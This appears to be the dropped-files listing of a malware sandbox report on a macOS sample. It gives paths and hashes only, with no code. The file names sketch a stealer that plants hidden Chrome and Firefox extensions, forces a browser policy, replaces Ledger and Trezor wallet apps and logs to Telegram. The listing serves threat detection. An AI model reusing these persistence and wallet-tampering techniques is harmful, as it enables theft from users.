SHA512 410f7196395806d609119969bbc484002a51b3b64e86397f87ecd119bd50cfb3c8ab65dc918a0176e8c1f7aaed201bfa3931ce1a22a218b845f14830e658e059
SSDEEP 192:mWPoXJeQng0QD55cTaDz3XXdtwNhLx+TBEzQMtTK:mKoZNhAKTa33OhouTK
TLSH
T141E1216E69EB143491A3A03E0B9FA10936340093144EED24BF4C45286FEA66EC7F5FCD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path /Library/Application Support/.lab_chrome_ext/manifest.json
Size 1KB
SHA256 fcf069295d91c24c997f21539122889ccf4ccc5b97649814fc9cb6c424d91274
MD5 760fa5e2c5a6618f5a687823acac4e06
SHA1 cd3d7c3ef0b6cf70c5897403b5ba9a8ab2d4b749
SHA512 3c29e037303c094e225816784ae13663b6d092bacfacb606d1ccddb786bcb358b3c44821c5c98359249bbfb21dfe61abd0f827969de65e5682728749a088f9d3
TLSH
T18131F2B6D9305C2703E86BA428FA2713AA514B875DC47D0CB7CE500C8FBC6AE15B976D
MD5 SHA1 SHA512 TLSH

Submit Download

offscreen.html

Path /Library/Application Support/.lab_chrome_ext/offscreen.html
Size 138B
SHA256 3b76afadd55a12a004e0c4f241344a210637ee101c15630cfd966011321d86ed
MD5 b4c9181bcf286a6f16fa7adff9c4bb8c
SHA1 6c715f778ff46b69749619c4ec7523614c5d8124
SHA512 d9992aa77fda3ae1e98fae045f8337035fb6f3951703b8710a68859ab1010efd6f6487e9cc1d4b12691ce5643340be19f8136637a8b0f33798a37487819da2c5
TLSH
T1C5C04CA9AD905C48013029B92A91E2691426F6C67211AD0A75D421735E517599C47680
MD5 SHA1 SHA512 TLSH

Submit Download

page-hook.js

Path /Library/Application Support/.lab_chrome_ext/page-hook.js
Size 1KB
SHA256 4a50bfb9a78e1de77c5563360fdb5df1c7318c8d8e92b7a6f0761e2eba064082
MD5 b5e7ea9f862963419548eb7bf28a11ab
SHA1 36f22b7dfac6140535d14581572d4e7867aba675
SHA512 fc07dc56e643135ee740c960129435a80cb244fe024d42357c84d73123288c1a60429c61d7c57c9113788e560fdd177c077a389a551509a52f4879c51750555f
TLSH
T17531599E9CE6666542E3B06D23EB7005B13E5043700DD648B74EC3406F5E92E87B6ADE
MD5 SHA1 SHA512 TLSH

Submit Download

qr-scan.js

Path /Library/Application Support/.lab_chrome_ext/qr-scan.js
Size 9KB
SHA256 b43c7b0dacd8152a03b672b9f2af7f4dceca73a114f1298c1cec3a95c764e333
MD5 cbeacf5b59708846e587c4db4d03b7f6
SHA1 230cd66d937a3a58ce2c951dab2d59feb1d833d3
SHA512 0f371aa77bff1418674c71d15c8f6f78d38b6719c8819d8a88caec16dedcf54cab5582637450d86cbf93876b544bb7725fd93e677fff4c7f8eb21f3e899991e9
SSDEEP 192:Yf1XUQAtE6IiFP+N2Gf0kknFIuDbNWC+5P5iZHYXbePcs08Ja+oDsQaNhXcXtC:g1uEI2N2whTuY5P5qHiYPGaNhM9C
TLSH
T16212645E21B320354263A1B98B5FD008B636E4133646ED587E0CC3106FAA66E93F7B9C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

manifest.json

Path /Library/Application Support/.lab_firefox_ext/src/manifest.json
Size 1KB
SHA256 d71836996292dcd63d67a9db3c76351ed9441b652b3bb207b78bf220162880b2
MD5 b25395ca2b30e6e821afd701d762a086
SHA1 c0d7e3f39360be0adda2a0adea42bd9f719ef5d8
SHA512 214590cf47656ed4dc3f34e2430fe4842ffc984b58658edf1b199a9f0efb70268ecd2abd19b05c2dba886866220841fa2924febe61b12a435795194bc39cc6a6
TLSH
T112312666C8344C6703D86B74A8BA6753E611078B9DD47E08B7CD600C8F7C6AE15BA79C
MD5 SHA1 SHA512 TLSH

Submit Download

ziFGZArW

Path /Library/Application Support/.lab_firefox_ext/ziFGZArW
Size 91KB
SHA256 4659f731df1a6d10b231c6eb9e81241373574fb0a981892f4e058bf1bb7e9abd
MD5 533e2f831cd20f6c29841ea6cff44562
SHA1 e9eee36505a1ed223a4c7ce2e0e6303ba70584ab
SHA512 935977ec3da86bba3a3868ba8aac393f72657f76d065f4bab3bede9feee31cd7476c20528ab738391773116aa1faf29c47c2ef92a51bcfb3cf8bd2aad105db28
SSDEEP 1536:X2Oong6vuH0ZNwM0ZcjYsHMMqaqjJvcLFBaqr8lN3qWTfn+EGUInWlsPRnp3gWWJ:X27uKNwTZ6YmMHlNcxBaqA36UIWlKWS2
TLSH
T1FB93122DF4A02684FA9A6430D1C6847651DE4139DE2ED89E37FD1039FDACBB78922813
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

policies.json

Path /Library/Application Support/Firefox/distribution/policies.json
Size 1017B
SHA256 260cb72f0a4bcbec8020cc6ba74addc11f7ea01e7adffd63c6cd5e9e180792b3
MD5 15ac401abc4bc2ea68e83b9a98d336d8
SHA1 7930e6ca9b7a89464d39624e44e1d4fd5847a4a1
SHA512 0d805ae35eb24083d5b012ec84ecb49b09181431c77c07ff1648c35c6b3ab1d86a1bc3fcd5ec8074d206355699344e65a2d574bcca245c28f7187946ea643952
TLSH
T15211B96DD8795E672AEDF610DC2B0046FF2285A764887C2079DC801C9F0F66C40A96D8
MD5 SHA1 SHA512 TLSH

Submit Download

installed.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
Size 86B
SHA256 7ccc5f334029dd247b4c268a5fc18d86747e7b3344e934d23b0cb78fe31303c8
MD5 31948c9feacf69cf3bcd4094ee3ffbea
SHA1 c32c9a3a418e89b24930a336683c3d43064540ad
SHA512 5c684e6803bb7d99e79058508f267c733f6306fe50124630f8d61cef4f45ca0825030aada0f945b1f364868c3a3d79254d605216fe5a40bb1e8b884e4562e21b
TLSH
T117A0128D864451181477039A0088A0713493404E98C00072C0A00007700C04B22C1B42
MD5 SHA1 SHA512 TLSH

Submit Download

installed.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/installed.txt
Size 174B
SHA256 775f24a382a1f768a45ab35d04c770452b81ddbd1d67f9704c517b4e1ff49f97
MD5 1c3604aad9923cd031b4ddad50c91740
SHA1 6a42479ed1ea77e182caa22503dd0a2a1898997e
SHA512 0b25900b5b42070e715666a71fc8a97a674f9ceb40a38eed1302ed60f5091c7165498f67c5fd31260e621edfa837cf0069f9d209ee2db4f116d5372fd27f48e2
TLSH
T149C012CA8781522828BB13AE0088A0B634A3844ED88410B2D0A0220BB04D18B22A2F02
MD5 SHA1 SHA512 TLSH

Submit Download

ledger_replaced.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/ledger_replaced.txt
Size 72B
SHA256 7bb75c07e8c8a471f0937d9ef0d8f46a4be7d0882378371416318e0eb8be8a0b
MD5 f0d7111c69fe0f1a1e6bc9e3d9d8aa08
SHA1 f50df838d7d78bcbddf4e7b8de773dc66e2c2368
SHA512 1463b8bb271e5422ce3dd6dd404a64d35f5b2d4a0a31401f83f367ed619694261352b65b55e5fe031c7b61f46088a8cdc0723f72715af0ad7206c7ba0c3231b9
TLSH
T135A022C20300032C383F03AE2082A0F828A2888CC0A202F2A0C0300FF0000822322F02
MD5 SHA1 SHA512 TLSH

Submit Download

trezor_replaced.txt

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Apps/trezor_replaced.txt
Size 71B
SHA256 121d6a1ba5157f08efa2ca743b76637107cf6b5f84423be7348ae88c09e6cf75
MD5 e2a4c0c421e6edf346fe812265359613
SHA1 67daf1fe4cd724d6f92181a7a95a5dbb8b71f824
SHA512 377bddd900c79c7f47c7bfd59c1eedad146311a190e842452d14663cc5d678c6291a99f3691240bef8f025ba34bd6286b3a2c1f9b5641f41f98a5750d4bdeade
TLSH
T10CA022CA0B80A22C383F03EE20CAA0B03CA380CE80E200B280C0200BF0000822302F03
MD5 SHA1 SHA512 TLSH

Submit Download

UserInformation

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/UserInformation
Size 116B
SHA256 9b7eaca9d34656ce6d3f32fdd57055fd13d61b820a5647572fc58179a282dc15
MD5 f484e7dc9c5f73da316e1e939a54d78c
SHA1 a719866bf71a68f8d35bd5fa5351cbe3c9f9d703
SHA512 660475f40d1d3101f1ae6082bd0a46d9b803de136ae83581426ca258ffcb81af64849c168eee703aaa8703da9bda9d4387dc69f1efa9fc64d61cbd168e831753
TLSH
T122B09234C29F1D452B86D0A6928A1E805688CCD22A9A8C6C20ED8A4866AB425941A093
MD5 SHA1 SHA512 TLSH

Submit Download

UserInformation

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/UserInformation
Size 95B
SHA256 4816f942d2917cacd6996bcf5db0e2832ca968df2c23322f16715d21c8bdfc61
MD5 75b1938e8a290b2e04e3c19c01737e43
SHA1 e20e0a5643a7c7c74f5d73a73d059d47b8369327
SHA512 f41b4a17675c2b65451f5781ffba3a2d2d3ba25968b0370900b78ba2cc231647491dfa7a75d147db4cbf9c4466f1a9319d7b9e8ccf8ed63ee188d3793f9d85dd
TLSH
T128B0123092DF1C441342C0D1D1C10F9106C8CCC11B5B1C8C20ECCE0C23FB424840E013
MD5 SHA1 SHA512 TLSH

Submit Download

Username

Path /tmp/8db3c924efc282972b0cb4800a4f6e381783699124/Username
Size 4B
SHA256 4813494d137e1631bba301d5acab6e7bb7aa74ce1185d456565ef51d737677b2
MD5 63a9f0ea7bb98050796b649e85481845
SHA1 dc76e9f0c0006e8f919e0c515c66dbba3982f785
SHA512 99adc231b045331e514a516b4b7680f588e3823213abe901738bc3ad67b2f6fcb3c64efb93d18002588d3ccc1a49efbae1ce20cb43df36b38651f11fa75678e8
MD5 SHA1 SHA512

Submit Download

lab_asar_scan.py

Path /tmp/lab_asar_scan.py
Size 5KB
SHA256 987286efa64469ececea38f9c28b149e17c77d83d0827b148255190ab088c4d2
MD5 9ae95f6ce1de04e87e69febf794726d1
SHA1 a6855b29ddcf2a784a982bd16bfd3253068c2e00
SHA512 e882cad9de83111452be74f288f2447f03ab4e63072086a1d87b684f01833d5bc2f34eaece928f5f30a5d36edab7755ea2da47ce6deda793261520b67c605b46
SSDEEP 96:mtumwfWADt7gmr7AeFCjCAeyxNTBi7Tk+O/VhBqbJqJRYIw+PM+nEUyQ:YuNfWADt7gmrMwCjZBxN98T5oPBqbMDX
TLSH
T119C1E8536DFA5561D3A7A17E1C52E103331AFC4B68465454F88CD29C2FE903BD2B58AC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_chrome_ext.zip

Path /tmp/lab_chrome_ext.zip
Size 90KB
SHA256 42100f28917d8b7fea1507d1686d00f6de85c0c7340f7ccdc82bb5a1b7c0b178
MD5 4384b12de8df38cf650c02cec616d103
SHA1 af94aa3a8620a4cde31b364004e8a19c686c25ed
SHA512 01d5a2ee828df0e31464f268c00c07170398e1805cd867d8cb1634bd7e25c39484a7974c7142f146cb36f27f926809205ecdf900a7489087fd2e0d9076607b35
SSDEEP 1536:p6vuH0ZNwM0ZcjYsHM/a7OhVN//fgvO+H7A6GlOryIsZNQPTfl+MOonf:cuKNwTZ6YmM/TVBfgvDH7pLG8YMB
TLSH
T1FF9302B47DA300DDC6431775AA1205AD27E7C2347D2DE14947F814E1CCB5AC2A9AFCAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

chrome_ext.txt

Path /tmp/lab_chrome_ext_alert/Apps/chrome_ext.txt
Size 201B
SHA256 9757086b035ba27c9aef6723874ee31da63d0e0904f1683a6e886ab8034447f3
MD5 1635e5d0c3ee7697a832e6e176d59fcf
SHA1 137d39ede13df2d9c8fa57420af1f73f19e8f8e7
SHA512 c277251267eb5d23ef6ac898c7da060eb018ca027dc68fa3a5342a371d1f4db681e5a26d0df0cfdd0f3c41add8c1314649774491385431fc30cf530da7c2d5c0
TLSH
T110D0C045021C07DC3093ED539BB4006C0DF234E9ECB18144A0D953127177B55224D33B
MD5 SHA1 SHA512 TLSH

Submit Download

mode.txt

Path /tmp/lab_chrome_ext_alert/Apps/mode.txt
Size 11B
SHA256 45676c44416646acfe63140298177a066650f25ff25098742257b767648e79c1
MD5 175176a94bb1887a70feb64c80927328
SHA1 865970869435bb4ec5550327ed5c90a4ddc5d72c
SHA512 0f08b3df2f1a45b01899c60d6ca9aed8b8bd5246c431de1e8945ec0209b927e8eaf10705ae2a7a7abce26b2ee0751f393f675425e53608d5277143fe7294d310
MD5 SHA1 SHA512

Submit Download

lab_chrome_ext_install.py

Path /tmp/lab_chrome_ext_install.py
Size 22KB
SHA256 8a92febf163718500718395e67790d216594cce9aab68c4044e098cb4efed318
MD5 79d19084531566de4fbf533d0e8cceb0
SHA1 e344e0baf1ec8ec2262760a552707328c7c34a86
SHA512 9aaec3220c8f65f9807095e977180a7dc0098ffec5b28e20f20b0df28fbfbb65229ea7d444606e4cae7a46a719de3480962b4516204123ad5e00fb011091dccf
SSDEEP 384:awdmBj9jffplcIcmf+cydohz/yAcHMycbjdWO+CXon2:j8ffrfbhz/kvcbjdW1Cn
TLSH
T149A2A80AFC154919A7D3DB7C8D57E002B72AB80365883124B9DD56680F4E93861BBBFF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_cloud_expand.py

Path /tmp/lab_cloud_expand.py
Size 26KB
SHA256 b9ee4369e0aecd8141d113763448dba491bd96142b1415eb90aea003b00b3def
MD5 390e578dd641a3be33e4e3b5656fe527
SHA1 5d0c8833634585d1eabe85be0fa81e9c4c2bab58
SHA512 45c6dd99c40637a172434f692f3b159d89880a231fbd7455303378a28565cc275f3e7bcab96a973821dde02dc1cdd761b8788451d24b1ddbd358b32ec1fe064f
SSDEEP 384:T1kDMON76ROT6UH9ti18ThymLJTI8fAqEdTs9clY2BQF+p0vxqzrC5t:T1kDMON7IKVnLhyaI8fAFJkclBe
TLSH
T18CC2A445BE295952D38BD57EA82295113235BC037C80382CBEDD86AC1F4D47BE1FAADC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

pid

Path /tmp/lab_collect.lockdir/pid
Size 5B
SHA256 a24dd4ba4234e5cf72a7ac6c9cbeb4564d113b54c65600814ca15aa6d868d11d
MD5 b8aa8b12912603c01a0cdb68f6adedfe
SHA1 3a6a45c5844afffd79f3a40fe8c7cca07816f420
SHA512 af0239009ca00d8e766af94ddaa7b3a81d95ac14258626e61969c379097c4dd6095c0defbee428d50686c242706c608559c3bcdbecffd3f0f90aba1e147a9795
MD5 SHA1 SHA512

Submit Download

lab_firefox_ext.zip

Path /tmp/lab_firefox_ext.zip
Size 90KB
SHA256 aa5987b62f994fdd03d38a0231696a13c32d26461b6684c530f63bd32eaf338f
MD5 183fd08632be8a03ee16a71cfe674549
SHA1 937dd549183bf9cdfedb3a2a5cf946fb6502f5cb
SHA512 6222eb3c115427fca42268f809d5ca7e9f8f66d908af3b383323e5dc4c0fe856bdbd583a8c7191820e4affa81ef8989f29af97733adba6636c6ad489da9f9cfb
SSDEEP 1536:p6vuH0ZNwM0ZcjYsHM/a7OhVN//fgvO+H7A6GlOryIsZNQPTfl+MOond:cuKNwTZ6YmM/TVBfgvDH7pLG8YM3
TLSH
T1709301B07DA300D9C6431735AB0245AD27E7C234BD2DE14947F814E2CC75AC2A9AFCAE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

firefox_ext.txt

Path /tmp/lab_firefox_ext_alert/Apps/firefox_ext.txt
Size 234B
SHA256 e1c5a1ae24e330f6e3ae2e6f820028369ef2ada033871a0f7cbafae4836ec4e1
MD5 47273897f516e842248c0ce271b0f186
SHA1 9396ec73eaab5332341e502f5476d7a8dd7f64cf
SHA512 6c66d633da5c356858f5d3c51151d80fd12bc970fdd829d53d294882498fa21b72dd6bce5e0790fee6de78c2418bf8132015fe0629fd08d6da4de598b874aa25
TLSH
T11DD0236142B4A1D71DB5F56FF4115408CD9331B58883703752C933B8B44A1FFC359291
MD5 SHA1 SHA512 TLSH

Submit Download

mode.txt

Path /tmp/lab_firefox_ext_alert/Apps/mode.txt
Size 12B
SHA256 f3b1768b2384b226d7e7357751b2110aaa3c1a2d62f74c80d02ea830e41e68f7
MD5 e96f13b683bf5079c281ea71d6160462
SHA1 aebe50ab08ce67aabfb622929e4bd42ead217670
SHA512 122edca51def3feb2a3ec33cc1324b7bab6c364d6f23ffa358f260ad0b48f9e12f5001afd640a859ab7609d60660a04dcf21233dbd6929452e181cfc89e99522
MD5 SHA1 SHA512

Submit Download

UserInformation

Path /tmp/lab_firefox_ext_alert/UserInformation
Size 122B
SHA256 1c60647908a742fcb580b3fff2d99b33278f9d2f39c720e0a9db9e28e47de5ac
MD5 ef7a4d9db5d97f0244448665e31063bd
SHA1 7e6ff1188fe6233317d18959edc2eb8524a77f5f
SHA512 e64d3fb74e4a3256324a2ce4394cc3589751e164e7e909d2676ff4f5dc31e65f73012a71da41b55043a6c419ae46e92784678b0bb15b16cb632379fe83127b2b
TLSH
T1A6B09B34D59F1D451741D09592A50E4055C4CDC1355A4C6910EC8A5875AF125445B153
MD5 SHA1 SHA512 TLSH

Submit Download

lab_firefox_ext_install.sh

Path /tmp/lab_firefox_ext_install.sh
Size 18KB
SHA256 022424aea9d913ce078ded33b3f37b7871cf3e62ec96262b45a9564a3a214601
MD5 439de0b912d653c07e6cdec3e4f887cf
SHA1 c06dad4c84877e1ced917c7110d2896172df4e1a
SHA512 d4a06c94b3d01d2f2bd56774f2991901a281b14ceee5f0c1be46c856c10ebad9bbc6a45dabaaa79c2ba3d6980bf606da8b2975f0622fb6a28e9959aecee07396
SSDEEP 384:aX4Er6Acvyh5PyzdFftnw0gouDzE+cHocmSJa+zoieptJrpAxx0VJJAxhZocZRaR:m4Er6AcMJyjftnZgNDzE+cIc1rozJdAW
TLSH
T1E882CA51E45856B31EEE507CDC8A4400B6A51A2B6D583810B8FE94A81F2D378E1FE7FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_firefox_patch_signing.rb

Path /tmp/lab_firefox_patch_signing.rb
Size 4KB
SHA256 c47a549a24a55818d0480a2dcef83d9a8319cad7d8eaf4f8a772522971f7517a
MD5 2e46193ca2704fe4c9aa114c9c557430
SHA1 80d6e81aaaba04cbfc701a760cda2a0e77a351cf
SHA512 e440576a0ee78ae848925b27df40fdf1e95c1a4f7ce58676da87996c824bd284c0f8fdd79541363a9509306886aee0281d65ebe2d0295b5af9320e9b5549ee5f
SSDEEP 96:eDbB5AJvV9gqH7ScvzQ352dDvXzJ5vawnQ1O87HIl5FzCFPjKfpDXmM:eF56vLHN/dLX3nn/N6jKFWM
TLSH
T17AA134BA35801C775A17D172ABDB4411CF05F60B97DA3E20B98C48D85B0A9B34369BF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lab_ip.txt

Path /tmp/lab_ip.txt
Size 13B
SHA256 73557a8926489016aabb24efee23a7b8f3f30e36cf0c0d39120e5b080f5b9367
MD5 de3de29d464581691cb120e0904ac559
SHA1 174d9c125df4dd6753fe947d0894ba892dee796b
SHA512 1a524c8c478f0d898d2cc6c24c39416b2ce4f75d80f73a64a3aa47f4bee04172ecdbd8d2864d641165ec7000eb8d996726a6b8c3089c974e0631addcf26c3064
MD5 SHA1 SHA512

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 56B
SHA256 e6b5f9aa32d0c275724a489e158a1df025b90fda50e9c28e71ffb264f5204207
MD5 184f7d1bf6dcaa641cc15b3ca944dfda
SHA1 234841132ff6d0c43da34f9c08e51a5babe038db
SHA512 1ff09011cd3165913f2470d065de636fdf585ba7f544736a06d1789748265a0d4537b920d295753014a04731508feae677450ba42cd50d07540f1403fd6f7254
TLSH
T18290028625A1604021C2293A5046E2597262BD6897D62C8281D445A381C35767656EE1
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 64B
SHA256 0286c90509a96e7be0d94f92b9531d4e57c6fd3e5f8d288e268cf1b1e4b40055
MD5 182792c1234de3e30e9ab1bea9bfdee0
SHA1 1538737cf2f83e398509b0fe482d065940a7fbcf
SHA512 edecc577e63a755851ea973f2668b6d7e9e8a62d3bc5766aa62758eab33459d17a966403ca7292019f613f444dff321b98f1c2f3fa54e7581e4b37f3c4b441e8
TLSH
T1A7A0228320A0208022C2383A0002E3083322BC2883C23C8288E080E380C30323202FE0
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 183B
SHA256 129737e6678e2b625f412995122f16a90ed70470a1f2f1dfca35ca427cf4b8fa
MD5 f49755ebd05ec2dc7e10422dbd004950
SHA1 061db99aa5b37968cc3e42a1a70d97bb59f77ed2
SHA512 7e84fdf40201fc79010790b39e3a415f7643d5f803445d822c1d8158f4efdddaa0355ddc718bec3b776aa25adcecda5cf390aa15b1d7a2b1535f623812019353
TLSH
T1C1C0128625E0608032C2253E4047E25C7662BD5997C22C4286F4C1B385C397A7162BF1
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 191B
SHA256 1c93ab8f5bcd64f4cf2bec773f077f7710f72ad771073f19e9edc5d8daeb8ed6
MD5 9fa7372fa4b204676815545c86faa3f1
SHA1 a2af52813e11c6426f2f7f2dc17ebc65f3ded76c
SHA512 349983d2e5d0275d92e889b1c8c6781538f39708675925fbf3f2e8d4f98ae3fbf8fc9d4396e63bc5d30a68055e5f4d2e87aaec4f131bc1da681474517c839d8a
TLSH
T1B0C0128725E0608033C2353E4047E25C7A62BD5997C23C468AF4C1B385C797A7162BF1
MD5 SHA1 SHA512 TLSH

Submit Download

lab_tg.log

Path /tmp/lab_tg.log
Size 390B
SHA256 c6ea0eee132cd64a80190726a69641e2538584a4e7fb2b0b5b2eaca3f6195f0c
MD5 908401ed68fa0664c9b7f17410751799
SHA1 80d7afda0bee8163f0fb7d037c49cc12c7db9867
SHA512 d180432b6d21917f9b0ba1a46a258289c50202f592ce7b30a87a0b34440b93a9f2e9f00c39357db6eb4cb32206d4dd917542abf8856dd50723d846f512be97fb
TLSH
T1BEE09B8276D0609073C1253E4043E21C3A52BD55A7C23C469BF4C1B349C787D7162BF4
MD5 SHA1 SHA512 TLSH

Submit Download

sh-thd.vHpfFk

Path /tmp/sh-thd.vHpfFk
Size 8KB
SHA256 a5a389085baab268bd8c1f6b38039538ce5b74a05a4b94917d5dd9552f02dd0f
MD5 ff98d3c3e9b0feaaed429e0a90cc3410
SHA1 cb709defd6d69601fe74f17a82020cb017f5e014
SHA512 941628fdebc55acf536a009f10808c2827285e52cac44eff6548d2d6a41e57c8117f908a73655eaefc3e48ca3cf09e9551df41b91e3c84164d5be7fe6e4a88e9
SSDEEP 192:2TVMwYHbBhpTw+ztLQZ9tr6GS8jq4769qdnjsw2oPR0h5z:gIbTkGGljq476VoPR0h5z
TLSH
T12B02298D8B450B4EF8279B8DCDDE6EF3148C3E336C9284F328689149C950D9D669382B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updstat.txt

Path /tmp/updstat.txt
Size 5B
SHA256 2056a28ea38a000f3a3328cb7fabe330638d3258affe1a869e3f92986222d997
MD5 95b3644556b48a25f3366d82b0e3b349
SHA1 a44b30b36141bf0f462bbdef6f5000f17655216e
SHA512 df2f625102f674e1181d5b202e588d7d27c8210146a0fbc02309169fe0da32cbdb581ea25d051a83f9573d5ea5ce1c2c37a3c5434be40348dc0d944a5dd94592
MD5 SHA1 SHA512

Submit Download

updstat_final.txt

Path /tmp/updstat_final.txt
Size 46B
SHA256 9ff3aa94687c9fb8f77063874a1277106f84acea2efc463efd986ec6570ac46f
MD5 d290912e438ef648403f04f75555e6cb
SHA1 bacf7f036c7413794a3b6e738a7e44eb3e85a569
SHA512 a4cb77131b221fa95e4d7926686cdd8c83bb20e23125ba066fde0e599d82fa6177cc3998d3e5ee35bc11a29c87b452bee6bdddd4d730ff785f7b6dfb8255122e
MD5 SHA1 SHA512

Submit Download

updstat_final.txt

Path /tmp/updstat_final.txt
Size 62B
SHA256 c4873b8af985c09b69dbc69698e3522aeaab7b6dd5a80dfd489b65beb404c8c1
MD5 906f9486c562fa62c6a2ef0e6777a274
SHA1 1bf1628a67806ec6b0516f07f5ba7cb8b2fe1c07
SHA512 9ce11dfb02ec35bd0653502592c772a53ba80aa75c3dac1e2077471eb8b147943fd643b42858cfbdde81e3aece08ff512057ae57bce19a824361603061cbc647
TLSH
T1AFA002C4785BA085A1051931E40F545F61A81A13202742ABEDC1E9CCF456F6C8917E58
MD5 SHA1 SHA512 TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads